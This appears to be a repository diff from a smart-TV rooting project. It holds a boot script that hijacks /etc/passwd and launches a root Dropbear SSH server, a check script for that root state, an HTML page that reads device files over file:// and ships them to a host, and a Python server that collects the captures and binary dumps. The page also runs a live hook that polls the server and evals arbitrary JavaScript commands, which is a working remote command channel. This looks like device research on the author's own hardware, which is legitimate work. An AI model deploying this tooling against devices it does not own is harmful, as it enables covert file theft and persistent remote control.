# 1) passwd bind mount (root home must be writable for ~/.ssh/authorized_keys)
|
||||
if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then
|
||||
mount --bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log \
|
||||
|| mount -o bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log
|
||||
fi
|
||||
|
||||
# 2) PTY: /dev is a static ro squashfs, no devtmpfs. Mount devpts on tmpfs
|
||||
# and bind it over /dev/pts. /dev/ptmx (5,2) remains the static node.
|
||||
mkdir -p /dev/shm/pts
|
||||
if ! grep -q ' /dev/shm/pts ' /proc/mounts; then
|
||||
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log \
|
||||
|| mount -t devpts devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log
|
||||
fi
|
||||
if ! grep -q ' /dev/pts ' /proc/mounts; then
|
||||
mount --bind /dev/shm/pts /dev/pts 2>>/3rd_rw/sshd/mount.log
|
||||
fi
|
||||
|
||||
# 3) already running?
|
||||
if [ -f /3rd_rw/sshd/dropbear.pid ]; then
|
||||
PID=$(cat /3rd_rw/sshd/dropbear.pid)
|
||||
if kill -0 "$PID" 2>/dev/null && grep -q dropbear "/proc/$PID/cmdline" 2>/dev/null; then
|
||||
exit 0
|
||||
fi
|
||||
rm -f /3rd_rw/sshd/dropbear.pid
|
||||
fi
|
||||
|
||||
# 4) start key-only Dropbear (password auth is disabled at build time)
|
||||
/3rd_rw/sshd/dropbear -r /3rd_rw/sshd/host_key -p 22 \
|
||||
-P /3rd_rw/sshd/dropbear.pid -E >> /3rd_rw/sshd/dropbear.log 2>&1 &
|
||||
Executable
+47
@@ -0,0 +1,47 @@
|
||||
#!/bin/sh
|
||||
# verify.sh — quick health check for the rooted TV (run as root).
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
D=/3rd_rw/sshd
|
||||
|
||||
echo "=== proof ==="
|
||||
cat /3rd_rw/root_proof.txt 2>&1
|
||||
|
||||
echo "=== root loop ==="
|
||||
cat /3rd_rw/appdata/root_loop.pid 2>&1
|
||||
ps | grep root_loop | grep -v grep || true
|
||||
|
||||
echo "=== dropbear ==="
|
||||
ps | grep dropbear | grep -v grep || true
|
||||
cat /proc/net/tcp | grep -i ':0016' || true
|
||||
/bin/busybox tail -n 10 "$D/dropbear.log" 2>&1 || true
|
||||
|
||||
echo "=== sftp (optional) ==="
|
||||
if [ -f /3rd_rw/sshd/sftp-server ]; then
|
||||
echo "sftp-server present"
|
||||
else
|
||||
echo "sftp-server missing (optional)"
|
||||
fi
|
||||
if grep -q '/3rd_rw/sshd/sftp-server' /3rd_rw/sshd/dropbear 2>/dev/null; then
|
||||
echo "dropbear SFTP path OK"
|
||||
else
|
||||
echo "dropbear unpatched (optional; install_sftp.sh)"
|
||||
fi
|
||||
|
||||
echo "=== passwd / root home ==="
|
||||
grep '^root:' /etc/passwd
|
||||
|
||||
echo "=== authorized key ==="
|
||||
ls -l "$D/home/.ssh/authorized_keys" 2>&1
|
||||
/bin/busybox head -c 120 "$D/home/.ssh/authorized_keys" 2>&1; echo
|
||||
|
||||
echo "=== mounts ==="
|
||||
grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts
|
||||
|
||||
echo "=== current uid/gid (this shell) ==="
|
||||
grep -E '^(Uid|Gid|CapEff):' /proc/self/status
|
||||
|
||||
echo "=== host key ==="
|
||||
"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true
|
||||
|
||||
echo "=== verify done ==="
|
||||
@@ -0,0 +1,70 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=1920, height=1080">
|
||||
<title>VIDAA Recon</title>
|
||||
<style>
|
||||
html,body{margin:0;height:100%;background:#000;color:#cfe3d5;
|
||||
font-family:Consolas,"DejaVu Sans Mono",monospace;font-size:20px;}
|
||||
pre{white-space:pre-wrap;word-break:break-word;padding:14px 18px;line-height:1.3;}
|
||||
.sec{color:#6fb3ff;font-weight:bold;} .ok{color:#7bd88f;} .no{color:#e07a6a;} .warn{color:#e6c15a;}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<pre id="o">loading phase…</pre>
|
||||
<script>
|
||||
var O=document.getElementById("o"), collected=[];
|
||||
function log(m,c){ if(O.textContent==="loading phase…") O.textContent=""; if(c){var d=document.createElement("span");d.className=c;d.textContent=m;O.insertBefore(d,O.firstChild);}else O.insertBefore(document.createTextNode(m),O.firstChild); collected.push(m); }
|
||||
function sec(t){ log("\n==== "+t+" ====","sec"); }
|
||||
function kv(k,v){ log("\n "+k+": "+v); }
|
||||
function raw(l,t,max){ max=max||6000; var s=(t==null?"":String(t)); if(s.length>max) s=s.slice(0,max)+"\n …[+"+(s.length-max)+"]"; log("\n -- "+l+" --\n "+s.replace(/\n/g,"\n ")); }
|
||||
function has(f){ return typeof window[f]==="function"; }
|
||||
function fileXHR(path){ try{ var x=new XMLHttpRequest(); x.open("GET",path,false); x.send(null); if(x.status===200||x.status===0) return x.responseText; return null; }catch(e){ return "ERR:"+e; } }
|
||||
function fileRead(rel,flag){ try{ if(typeof File!=="undefined"&&File.read) return File.read(rel,flag||1); }catch(e){ return "ERR:"+e; } return null; }
|
||||
function parseListing(html){
|
||||
if(html==null) return null;
|
||||
var s=String(html); if(s.indexOf("ERR:")===0) return s;
|
||||
var out=[], re=/addRow\(\s*"([^"]*)"\s*,\s*"([^"]*)"\s*,\s*(\d+)/g, m;
|
||||
while((m=re.exec(s))!==null){
|
||||
var name=m[1]; if(name==="."||name==="..") continue;
|
||||
out.push((m[3]==="1"?"[D] ":"[F] ")+name);
|
||||
}
|
||||
return out.length? out.join("\n ") : "(empty or no addRow entries)";
|
||||
}
|
||||
function listDir(d){ var r=fileXHR("file://"+d+"/"); return parseListing(r); }
|
||||
function readFile(p){ var r=fileXHR("file://"+p); if(r==null) return null; if(String(r).indexOf("ERR:")===0) return null; if(String(r).indexOf("<!DOCTYPE")===0) return "(directory)"; return r; }
|
||||
function shipNow(){
|
||||
var payload="PHASE "+location.href+"\nTIME "+new Date().toISOString()+"\n\n"+collected.join("");
|
||||
log("\n\n[shipping "+collected.join("").length+" chars…]");
|
||||
fetch("/recon",{method:"POST",headers:{"Content-Type":"text/plain"},body:payload})
|
||||
.then(function(r){ log("\n[shipped "+r.status+"]","ok"); })
|
||||
.catch(function(e){ log("\n[ship FAILED "+e+"]","no"); });
|
||||
}
|
||||
window.__recon={log:log,sec:sec,kv:kv,raw:raw,has:has,fileXHR:fileXHR,fileRead:fileRead,parseListing:parseListing,listDir:listDir,readFile:readFile,shipNow:shipNow,collected:collected};
|
||||
fetch("/phase.js?t="+Date.now()).then(function(r){return r.text();})
|
||||
.then(function(code){ (function(R){ with(R){ eval(code); } })(window.__recon); })
|
||||
.catch(function(e){ log("\nload phase.js FAILED: "+e,"no"); });
|
||||
|
||||
// LIVE HOOK: polls /cmd, evals one JS command, reports the completion value.
|
||||
// One page reload is needed after this file changes; afterwards commands can be
|
||||
// sent by dropping JS into live_cmd.txt on the host.
|
||||
function __liveEval(code){
|
||||
try { return (function(R){ with(R){ return eval(code); } })(window.__recon); }
|
||||
catch(e){ return "LIVE_ERR: "+e; }
|
||||
}
|
||||
function __livePoll(){
|
||||
fetch("/cmd?t="+Date.now()).then(function(r){
|
||||
if(r.status!==200) return null;
|
||||
return r.text().then(function(code){
|
||||
if(!code) return;
|
||||
var out=__liveEval(code);
|
||||
var payload="LIVE CMD:\n"+code+"\n\nLIVE RESULT:\n"+String(out);
|
||||
fetch("/recon",{method:"POST",headers:{"Content-Type":"text/plain"},body:payload});
|
||||
});
|
||||
}).catch(function(e){}).then(function(){ setTimeout(__livePoll,600); });
|
||||
}
|
||||
setTimeout(__livePoll,1500);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,108 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Serves recon.html to the TV and captures what the TV POSTs back.
|
||||
Run: python3 server.py [port] (default 9000)
|
||||
The TV opens http://<this-pc-ip>:9000/ in its built-in browser.
|
||||
Captures land in ./captures/ as timestamped .txt files.
|
||||
"""
|
||||
import http.server, socketserver, os, sys, datetime, itertools, urllib.parse
|
||||
|
||||
HERE = os.path.dirname(os.path.abspath(__file__))
|
||||
CAP = os.path.join(HERE, "captures"); os.makedirs(CAP, exist_ok=True)
|
||||
PAGE = os.path.join(HERE, "recon.html")
|
||||
SEQ = itertools.count()
|
||||
|
||||
class H(http.server.BaseHTTPRequestHandler):
|
||||
def log_message(self, *a): pass
|
||||
def _send(self, code, body, ctype="text/html; charset=utf-8"):
|
||||
self.send_response(code)
|
||||
self.send_header("Content-Type", ctype)
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.send_header("Cache-Control", "no-store")
|
||||
self.send_header("Access-Control-Allow-Origin", "*")
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
def do_GET(self):
|
||||
# Live command channel: the TV polls /cmd; the host drops a JS command
|
||||
# into live_cmd.txt. The file is consumed atomically enough for one TV.
|
||||
if self.path.split("?")[0] != "/cmd":
|
||||
print(f"[GET] {self.path} ua={self.headers.get('User-Agent','')[:40]}", flush=True)
|
||||
if self.path.split("?")[0] == "/cmd":
|
||||
cp = os.path.join(HERE, "live_cmd.txt")
|
||||
try:
|
||||
if os.path.exists(cp):
|
||||
with open(cp, "rb") as fh: body = fh.read()
|
||||
os.remove(cp)
|
||||
self._send(200, body, "text/plain; charset=utf-8")
|
||||
else:
|
||||
self._send(204, b"", "text/plain; charset=utf-8")
|
||||
except Exception as e:
|
||||
self._send(500, str(e).encode(), "text/plain; charset=utf-8")
|
||||
return
|
||||
if self.path.startswith("/pub/"):
|
||||
name = os.path.basename(urllib.parse.urlsplit(self.path).path)
|
||||
p = os.path.join(HERE, "pub", name)
|
||||
if os.path.exists(p):
|
||||
with open(p, "rb") as fh:
|
||||
body = fh.read()
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "application/octet-stream")
|
||||
self.send_header("Content-Disposition", 'attachment; filename="%s"' % name)
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.send_header("Cache-Control", "no-store")
|
||||
self.send_header("Access-Control-Allow-Origin", "*")
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
else:
|
||||
self._send(404, b"not found", "text/plain")
|
||||
return
|
||||
routes = {
|
||||
"/": PAGE,
|
||||
"/recon.html": PAGE,
|
||||
"/index.html": PAGE,
|
||||
"/phase2.html": os.path.join(HERE, "phase2.html"),
|
||||
"/phase.js": os.path.join(HERE, "phase.js"),
|
||||
"/icon.png": os.path.join(HERE, "icon.png"),
|
||||
}
|
||||
f = routes.get(self.path.split("?")[0])
|
||||
if f and os.path.exists(f):
|
||||
if f.endswith(".png"): ctype = "image/png"
|
||||
elif f.endswith(".js"): ctype = "application/javascript; charset=utf-8"
|
||||
else: ctype = "text/html; charset=utf-8"
|
||||
with open(f, "rb") as fh: self._send(200, fh.read(), ctype)
|
||||
else:
|
||||
self._send(404, b"not found", "text/plain")
|
||||
def do_POST(self):
|
||||
path = urllib.parse.urlsplit(self.path).path
|
||||
if path == "/dump":
|
||||
q = urllib.parse.parse_qs(urllib.parse.urlsplit(self.path).query)
|
||||
off = int(q.get("off", ["0"])[0])
|
||||
total = int(q.get("total", ["0"])[0])
|
||||
name = os.path.basename(q.get("name", ["libomi.so"])[0]) or "libomi.so"
|
||||
n = int(self.headers.get("Content-Length", 0))
|
||||
body = self.rfile.read(n)
|
||||
d = os.path.join(HERE, ".re", "dumps", "tv")
|
||||
os.makedirs(d, exist_ok=True)
|
||||
p = os.path.join(d, name)
|
||||
with open(p, "wb" if off == 0 else "r+b") as f:
|
||||
f.seek(off)
|
||||
f.write(body)
|
||||
print(f"[+] dump off={off} len={len(body)} total={total}", flush=True)
|
||||
self._send(200, b"ok", "text/plain")
|
||||
return
|
||||
if path != "/recon":
|
||||
self._send(404, b"not found", "text/plain"); return
|
||||
n = int(self.headers.get("Content-Length", 0))
|
||||
body = self.rfile.read(n).decode("utf-8", "replace")
|
||||
ts = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
|
||||
seq = next(SEQ)
|
||||
p = os.path.join(CAP, f"recon-{ts}-{seq:06d}.txt")
|
||||
with open(p, "w") as f: f.write(body)
|
||||
print(f"[+] captured {len(body)} bytes -> {p}", flush=True)
|
||||
self._send(200, b"ok", "text/plain")
|
||||
|
||||
if __name__ == "__main__":
|
||||
port = int(sys.argv[1]) if len(sys.argv) > 1 else 9000
|
||||
socketserver.TCPServer.allow_reuse_address = True
|
||||
with socketserver.ThreadingTCPServer(("0.0.0.0", port), H) as httpd:
|
||||
print(f"[*] serving recon on http://0.0.0.0:{port}/ (captures -> {CAP})", flush=True)
|
||||
httpd.serve_forever()
|
||||
Reference in new issue
Block a user